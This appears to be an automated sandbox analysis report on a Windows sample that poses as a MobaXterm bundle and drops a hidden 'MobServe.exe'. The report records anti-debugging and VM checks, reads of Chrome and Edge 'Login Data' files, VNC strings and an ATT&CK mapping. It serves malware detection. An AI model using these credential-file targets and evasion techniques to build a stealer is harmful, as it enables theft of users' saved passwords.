Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_100011E0 rdtsc

0_2_100011E0

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-39968
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_5-189

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\evb52F2.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

API coverage: 9.0 %

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Key opened: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000807

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1022C220 memset,GetSystemInfo,

0_2_1022C220

Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: vmware
Source: T2dvU8f2xg.exe, 00000000.00000002.3830283886.0000000008302000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001BD0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001AE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: T2dvU8f2xg.exe, 00000000.00000002.3823187427.0000000007AAA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators:S-1-5-32-578:578:

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100013D0		0_2_100013D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001440		0_2_10001440

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_100011E0 rdtsc

0_2_100011E0

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_102A1C2B IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_102A1C2B

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10262960 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

0_2_10262960

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A1C2B IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_102A1C2B
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A0DF2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_102A0DF2
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_00401179 Sleep,Sleep,SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,main,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,	7_2_00401179

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a06188" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a06188" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a06188" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a06188" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"	Jump to behavior

Source: T2dvU8f2xg.exe, 00000000.00000003.1354066497.00000000075F1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1353749286.000000000776D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: T2dvU8f2xg.exe, 00000000.00000003.1356376826.0000000008C44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progman
Source: T2dvU8f2xg.exe, 00000000.00000003.1354066497.00000000075F1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SV
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1353749286.000000000776D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndS
Source: T2dvU8f2xg.exe, 00000000.00000003.1356376826.0000000008C44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell_traywnd

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10001000 cpuid

0_2_10001000

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data433591684 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data836039973 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_102A1B58 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_102A1B58

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_0040BB1D winOS,GetVersionExA,GetSystemMetrics,ErrorF,

7_2_0040BB1D

Source: T2dvU8f2xg.exe

Binary or memory string: 360tray.exe

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: %ls\Google\Chrome\User Data\Default\Login Data

0_2_1004B53B

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\Default User\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\desktop.ini\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior

Source: Yara match

File source: T2dvU8f2xg.exe, type: SAMPLE

Remote Access Functionality

Contains VNC / remote desktop functionality (version string found)

Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: RFB 003.008
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: RFB 003.007
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: RFB 005.000
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: RFB 003.003
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: "Received server protocol version: RFB 003.008

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005AC499 ProcessCommandLine,_XSERVTransNoListen,ErrorF,ddxProcessArgument,ErrorF,UseMsg,FatalError,strcmp,atoi,UseMsg,strcmp,strcmp,atoi,UseMsg,strcmp,InitAuthorization,UseMsg,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,atoi,UseMsg,strcmp,xfont2_parse_glyph_caching_mode,UseMsg,strcmp,atoi,UseMsg,strcmp,atoi,FatalError,UseMsg,strcmp,UseMsg,strcmp,UseMsg,exit,strcmp,strcmp,XkbProcessArguments,UseMsg,strcmp,strcmp,strcmp,atoi,FatalError,UseMsg,strcmp,UseMsg,strcmp,_XSERVTransListen,ErrorF,UseMsg,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,UseMsg,strcmp,atoi,UseMsg,strcmp,atoi,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,UseMsg,strcmp,atol,UseMsg,UseMsg,strcmp,strcmp,strcmp,strcmp,strncmp,XdmcpOptions,strcmp,strcmp,atoi,UseMsg,strcmp,atoi,UseMsg,strcmp,PictureParseCmapPolicy,UseMsg,UseMsg,strcmp,strcmp,EnableDisableExtension,EnableDisableExtensionError,UseMsg,strcmp,strcmp,EnableDisableExtension,EnableDisableExtensionError,UseMsg,ErrorF,	7_2_005AC499
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005A95B0 SetNotifyFd,ospoll_data,calloc,ospoll_add,ospoll_remove,free,ospoll_listen,ospoll_mute,	7_2_005A95B0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005AAD53 FlushClient,_errno,_XSERVTransWritev,_errno,_errno,_errno,memmove,realloc,MarkClientException,memmove,ospoll_listen,_errno,MarkClientException,free,free,	7_2_005AAD53
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0041A4E3 winGetDisplayName,_XSERVTransIsListening,ErrorF,winDebug,	7_2_0041A4E3
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0042F5A6 glBindTexture,glXGetProcAddressARB,	7_2_0042F5A6
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005B06A0 _XSERVTransNoListen,_XSERVTransNoListen,	7_2_005B06A0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005B074C _XSERVTransListen,_XSERVTransListen,	7_2_005B074C
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0057A763 TouchListenerGone,GetMaximumEventsNum,InitEventList,FatalError,ResourceClientBits,ResourceClientBits,GetTouchOwnershipEvents,mieqProcessDeviceEvent,GetMaximumEventsNum,FreeEventList,	7_2_0057A763
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005B373A _XSERVTransListen,	7_2_005B373A
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005B07F8 _XSERVTransIsListening,	7_2_005B07F8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005A97A5 AttendClient,listen_to_client,mark_client_ready,mark_client_saved_ready,	7_2_005A97A5
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005B0847 _XSERVTransResetListener,	7_2_005B0847
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005A8811 ResetWellKnownSockets,ResetOsBuffers,_XSERVTransResetListener,_XSERVTransGetConnectionNumber,SetNotifyFd,ResetAuthorization,ResetHosts,XdmcpReset,	7_2_005A8811
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_00563898 GestureListenerGone,GetMaximumEventsNum,InitEventList,FatalError,ResourceClientBits,ResourceClientBits,GestureEndGesture,GetMaximumEventsNum,FreeEventList,	7_2_00563898
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005A9BF2 listen_to_client,ospoll_listen,ospoll_mute,	7_2_005A9BF2
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005A9B8A listen_to_client,	7_2_005A9B8A
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_005ABC3F ospoll_listen,	7_2_005ABC3F

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	12 Process Injection	2 Obfuscated Files or Information	21 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Timestomp	1 Credentials In Files	34 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

